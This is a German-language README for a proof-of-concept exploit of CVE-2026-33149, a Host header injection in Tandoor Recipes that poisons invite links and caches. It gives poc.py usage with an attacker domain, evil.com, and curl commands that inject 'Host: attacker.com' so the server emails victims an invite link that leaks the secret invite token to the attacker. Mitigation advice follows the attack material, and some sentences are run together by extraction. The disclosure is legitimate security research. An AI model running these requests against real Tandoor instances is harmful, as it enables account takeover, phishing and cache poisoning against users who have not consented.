
Proof-of-Concept-Exploit für CVE-2026-33149, eine Host-Header-Injection in Tandoor Recipes, die Invite-Link-Poisoning und Cache-Poisoning ermöglicht. Enthält Module für Host-Akzeptanz, Paginierung, Schema und Invite-Poisoning.
Tandoor Recipes setzt standardmäßig ALLOWED_HOSTS = '*' in settings.py, wodurch Django jeden beliebigen Wert im HTTP--Header ohne Validierung akzeptiert. Die Anwendung verwendet , um in mehreren sicherheitskritischen Kontexten absolute URLs zu erzeugen. Ein Angreifer, der Anfragen mit einem manipulierten -Header senden kann, kann alle vom Server generierten URLs auf eine vom Angreifer kontrollierte Domain umleiten.
Hostrequest.build_absolute_uri()HostDie kritischste Auswirkung ist die Vergiftung von Einladungslinks: Wenn ein Administrator eine Benutzereinladung erstellt, enthält die vom Server gesendete E-Mail einen Link, der auf die Domain des Angreifers zeigt. Das Opfer klickt auf eine legitim aussehende E-Mail, das Einladungstoken wird exfiltriert, und der Angreifer nutzt es, um den Kontobereitstellungsprozess zu übernehmen.
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2026-33149 |
| GHSA | GHSA-x636-4jx6-xc4w |
| CWE | CWE-644 — Unzureichende Neutralisierung von HTTP-Headern für Skriptsyntax |
| CVSS v3.1 | 8.1 HOCH — AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N |
| Betroffene Version | Tandoor Recipes ≤ 2.5.3 |
| Anbieter | TandoorRecipes/recipes |
Datei: recipes/settings.py:118
ALLOWED_HOSTS = extract_comma_list('ALLOWED_HOSTS', '*') # default: wildcard
Djangos ALLOWED_HOSTS ist eine Sicherheitsmaßnahme, die den Host-Header gegen eine Whitelist validiert. Der Wildcard-Wert '*' deaktiviert diese Validierung vollständig und erlaubt beliebige Werte.
Datei: cookbook/serializer.py:1852-1853
message += _('Click the following link to activate your account: ') + self.context[
'request'].build_absolute_uri(
reverse('view_invite', args=[str(obj.uuid)])
) + '\n\n'
request.build_absolute_uri() erzeugt URLs mithilfe von request.get_host(), das den rohen Host-Header-Wert zurückgibt, wenn ALLOWED_HOSTS diesen nicht einschränkt. Die Einladungs-UUID — ein geheimes Token — ist in der URL eingebettet, die nun auf den Angreifer zeigt.
build_absolute_uri() für next/previous-URLs┌──────────┐ ① Manipulierte Anfrage ┌─────────────────┐
│ Angreifer │ ──────────────────────────────→│ Tandoor-Server │
│ │ Host: attacker.com │ ALLOWED_HOSTS=*│
└──────────┘ └────────┬────────┘
│
② build_absolute_uri()
verwendet "attacker.com"
│
▼
┌────────────────┐
│ SMTP-Server │
└────────┬───────┘
│
③ E-Mail mit vergiftetem Link:
http://attacker.com/invite/<uuid>
│
▼
┌────────────────┐
│ Opfer │
│ (klickt Link) │
└────────┬───────┘
│
④ UUID an Angreifer gesendet
│
▼
┌────────────────┐
│ Angreifer │
│ verwendet UUID │
│ auf echtem │
│ Server │
└────────────────┘
requests-Bibliothekpip install requests
# Alle Validierungsmodule mit Basisauthentifizierung ausführen
python3 poc.py --target http://localhost:8085 \
--basic-auth admin:password \
--attacker evil.com \
--module all
# Alle Module mit Session-Cookies ausführen
python3 poc.py --target http://target:8085 \
--session <sessionid> \
--csrf <csrftoken> \
--attacker evil.com \
--module all
# Nur Vergiftung von Einladungslinks
python3 poc.py --target http://target:8085 \
--session <sessionid> \
--csrf <csrftoken> \
--attacker evil.com \
--module invite \
--email [email protected] \
--group-id 1
| Modul | Beschreibung |
|---|---|
host-accept | Verifiziert, dass das Ziel beliebige Host-Header akzeptiert (ALLOWED_HOSTS = '*') |
pagination | Bestätigt, dass API-Paginierungs-URLs die injizierte Domain widerspiegeln |
schema | Bestätigt, dass OpenAPI-Schema-Server-URLs die injizierte Domain widerspiegeln |
invite | Erstellt einen vergifteten Einladungslink — der primäre Angriffsvektor |
all | Führt alle Module nacheinander aus |
1. Akzeptanz des Host-Headers
curl -s -o /dev/null -w "%{http_code}" \
http://TARGET:8085/api/user/ \
-H "Host: attacker.com" \
-u "admin:password"
# Erwartet: 200 (verwundbar) | 400 (gepatcht)
2. Widerspiegelung der Paginierungs-URL
curl -s "http://TARGET:8085/api/recipe/?page_size=1" \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "Host: evil.com" \
-H "Accept: application/json"
# Erwartet: {"next": "http://evil.com/api/recipe/?page=2&page_size=1", ...}
3. Widerspiegelung der Schema-URL
curl -s http://TARGET:8085/api/schema/ \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "Host: evil.com" | grep -o "http://[^ \"]*" | head -3
# Erwartet: http://evil.com/...
4. Vergiftung des Einladungslinks
curl -s http://TARGET:8085/api/invite-link/ \
-X POST \
-H "Content-Type: application/json" \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "X-CSRFToken: CSRF" \
-H "Host: attacker.com" \
-d '{"email":"[email protected]","group":{"id":1},"valid_until":"2027-01-01"}'
# Opfer erhält E-Mail: "Click: http://attacker.com/invite/<uuid>"
| Auswirkungsbereich | Beschreibung | Schweregrad |
|---|---|---|
| Übernahme des Einladungstokens | Angreifer erfasst die Einladungs-UUID über einen vergifteten E-Mail-Link und übernimmt die Kontobereitstellung | Kritisch |
| Credential-Phishing | Opfer landet auf einer vom Angreifer kontrollierten Domain und erwartet eine legitime Registrierungsseite | Hoch |
| Cache-Vergiftung | Bei Bereitstellungen mit Caching-Proxys kontaminiert eine einzelne vergiftete Antwort den Cache für alle Benutzer | Hoch |
| Fehlleitung von API-Clients | Paginierungs- und Schema-URLs leiten API-Konsumenten auf die Infrastruktur des Angreifers um | Mittel |
Setzen Sie ALLOWED_HOSTS so, dass Ihre gültigen Hostnamen explizit aufgelistet werden:
# docker-compose.yml oder .env
ALLOWED_HOSTS=recipes.yourdomain.com,localhost
Host-Headern abgelehnt werden, bevor sie Django erreichenUSE_X_FORWARDED_HOST = False — Stellen Sie sicher, dass Django X-Forwarded-Host von nicht vertrauenswürdigen Quellen nicht vertraut (Standard ist False)SITE_URL-Konfiguration für die Erzeugung von E-Mail-Links, anstatt sich auf request.build_absolute_uri() zu verlassenDieser Proof of Concept wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt. Unbefugter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Haftung für Missbrauch dieses Tools.
Filipe Gaudard — Offensive-Security-Forscher | eWPT | eWPTx